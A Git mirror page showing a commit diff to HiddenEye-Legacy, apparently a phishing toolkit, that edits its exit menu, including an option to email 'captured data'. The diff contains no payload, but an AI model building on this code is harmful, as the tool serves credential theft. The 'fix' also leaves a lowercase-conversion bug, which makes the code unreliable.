mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Fixed port error, set default value in case there's nothing entered
This commit is contained in:
parent
139f9cb5d5
commit
76187d2070
|
@ -7,12 +7,12 @@ import Defs.LocalizationManager.lang_global_usage as global_localization
|
|||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
def exit_message(port): # Message when HiddenEye exit
|
||||
choice = input(
|
||||
"\n\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(M) : SelectServer(S)\n\n >> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'R' or choice == 'r':
|
||||
run_command('sudo python3 HiddenEye.py')
|
||||
elif choice == 'M' or choice == 'm':
|
||||
def exit_message(port = 80): # Message when HiddenEye exit
|
||||
choice = input(localization.lang_exit_message["choice"])
|
||||
choice.lower()
|
||||
if choice == 'r':
|
||||
run_command(['sudo', 'python3', 'HiddenEye.py'])
|
||||
elif choice == 'm':
|
||||
email_prompt.captured_data_email_confirmation(port)
|
||||
elif choice == 's':
|
||||
server_menu.server_selection(port)
|
||||
|
|
Loading…
Reference in New Issue
Block a user